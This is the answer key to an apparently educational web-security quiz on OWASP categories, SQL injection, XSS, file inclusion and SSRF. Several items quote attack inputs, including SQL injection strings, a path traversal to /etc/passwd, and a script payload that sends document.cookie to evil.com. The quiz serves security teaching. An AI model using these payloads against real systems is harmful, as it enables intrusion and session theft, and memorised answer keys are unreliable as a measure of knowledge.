

Q1. What does the "A" in OWASP stand for?

Answer: A) Application

Solution: OWASP stands for Open Web Application Security Project.

Q2. Which OWASP category includes SQL Injection?

Answer: B) A3 - Injection

Solution: SQL Injection falls under the Injection category, A3 in OWASP 2021.

Q3. What is the most common objective of SQL Injection?

Answer: C) Exfiltrate data

Solution: Attackers use SQL Injection to retrieve unauthorized data from databases.

Q4. What type of attack is XSS?

Answer: B) Client-side

Solution: XSS attacks run in the user's browser, making them client-side.

Q5. Which character is commonly used to end a SQL statement in SQL Injection?

Answer: B) ;

Solution: Semicolon is used to terminate SQL statements and can help inject new ones.

Q6. In XSS, malicious code is usually written in which language?

Answer: C) JavaScript

Solution: JavaScript is commonly used in XSS for executing in-browser attacks.

Q7. Which one is NOT a type of XSS?

Answer: D) Packet-based

Solution: Packet-based is not a type of XSS; the main types are Stored, Reflected, and DOM-based.

Q8. What is the purpose of OWASP?

Answer: B) To educate about web security risks

Solution: OWASP provides education and tools for improving web application security.

Q9. A SQL injection vulnerability typically occurs when:

Answer: B) Queries are dynamically built using unsanitized input

Solution: This allows attackers to alter the SQL commands.

Q10. What does "Inclusion" in web vulnerabilities usually refer to?

Answer: C) Including files through insecure paths

Solution: Inclusion vulnerabilities let attackers include files, sometimes malicious.

Q11. Which of the following best describes Broken Access Control in OWASP Top 10?

Answer: A) Unauthorized users gain access to restricted functions

Solution: Broken Access Control allows users to bypass authorization.

Q12. In the OWASP Top 10 (2021), which item is ranked as the most critical?

Answer: C) Broken Access Control

Solution: It's the most exploited and dangerous issue.

Q13. How can input validation prevent SQL injection?

Answer: C) By only allowing expected data formats

Solution: Validating input ensures no malicious SQL code is passed.

Q14. In what way can stored procedures still be vulnerable to SQL injection?

Answer: B) If they dynamically build SQL statements

Solution: Dynamic SQL within stored procedures can be exploited.

Q15. Which of the following would be an example of Local File Inclusion (LFI)?

Answer: B) ../../etc/passwd

Solution: This path traversal attempts to read sensitive files locally.

Q16. DOM-based XSS occurs:

Answer: C) When the page is interpreted in the browser

Solution: DOM-based XSS modifies the DOM in the client-side environment.

Q17. What HTTP method is most commonly used in reflected XSS?

Answer: D) GET

Solution: Reflected XSS is often triggered through query parameters in GET requests.

Q18. What's the primary goal of a stored XSS attack?

Answer: B) Persist malicious scripts in a database

Solution: Stored XSS saves scripts in the server-side database.

Q19. What does the following payload try to exploit: `'; DROP TABLE users;--`

Answer: C) SQL Injection

Solution: This classic payload attempts to delete a table via SQL Injection.

Q20. A server includes the following in a PHP script: `include(\$\_GET["page"]);`. This is an example of:

Answer: B) File Inclusion vulnerability

Solution: If not validated, the `include` function can be used to include arbitrary files.

Q21. Which of these practices mitigates XSS?

Answer: C) Input sanitization and output encoding

Solution: Sanitizing inputs and encoding outputs prevents script execution.

Q22. What kind of stored procedure injection could bypass authentication logic?

Answer: B) EXEC with user input

Solution: Dynamic EXEC calls can be injected if user input is not sanitized.

Q23. What OWASP risk involves failing to protect sensitive data in transit and at rest?

Answer: B) Cryptographic Failures

Solution: This refers to improper handling of encryption and sensitive data.

Q24. What is a telltale sign of SQL Injection vulnerability?

Answer: A) Error messages revealing SQL syntax

Solution: These reveal database structure and confirm injection success.

Q25. A Reflected XSS attack can be triggered by which of the following?

Answer: A) Visiting a URL with a script embedded in a query string

Solution: This is the typical way Reflected XSS works.

Q26. Which OWASP item involves allowing attackers to manipulate URL paths?

Answer: D) Server-Side Request Forgery (SSRF)

Solution: SSRF involves crafting URLs to internal systems.

Q27. Which input is most dangerous for SQL Injection?

Answer: A) ' OR '1'='1

Solution: This classic payload tricks SQL into always returning true.

Q28. Which kind of encoding helps mitigate XSS?

Answer: C) HTML encoding

Solution: HTML encoding prevents browser from interpreting user input as code.

Q29. Which function in PHP is dangerous when accepting user input?

Answer: B) include()

Solution: Dynamic inclusion based on user input leads to RFI/LFI attacks.

Q30. Which of the following is a secure coding practice?

Answer: C) Using prepared statements

Solution: Prepared statements prevent SQL Injection by separating code from data.

Q31. What is the most effective defense against SQL injection in stored procedures?

Answer: C) Use parameterized procedures with bound parameters

Solution: This ensures user input doesn't interfere with SQL logic.

Q32. How does a successful XSS attack typically steal session cookies?

Answer: C) By injecting JavaScript that sends the document.cookie to an attacker

Solution: This enables hijacking sessions.

Q33. Which OWASP category can SSRF be classified under in OWASP Top 10 - 2021?

Answer: C) A10 - Server-Side Request Forgery

Solution: SSRF was added as a new category in OWASP 2021.

Q34. What would this payload exploit?

``"><script>fetch('http://evil.com?c='+document.cookie)</script>``

Answer: A) Reflected XSS

Solution: This payload reflects and executes a script that steals cookies.

Q35. Which database function could be exploited in a stored procedure injection?

Answer: B) EXECUTE()

Solution: Dynamic execution is prone to injection if not sanitized.

Q36. In the context of LFI, what does `../../../../` mean?

Answer: C) Navigate directories

Solution: This traverses directories, allowing access to unintended files.

Q37. Why is filtering only dangerous characters insufficient against XSS?

Answer: B) Filters can be bypassed with encoding

Solution: Attackers use encoded characters to evade filters.

Q38. What does CWE stand for in security taxonomy?

Answer: C) Common Weakness Enumeration

Solution: CWE is a standard for software weaknesses maintained by MITRE.

Q39. What is a key difference between LFI and RFI?

Answer: B) LFI includes local files; RFI includes remote files

Solution: RFI includes files from remote URLs while LFI only includes local paths.

Q40. What tool would best detect stored procedure injection?

Answer: C) sqlmap

Solution: Sqlmap can identify and exploit SQL injection vulnerabilities, including stored procedures.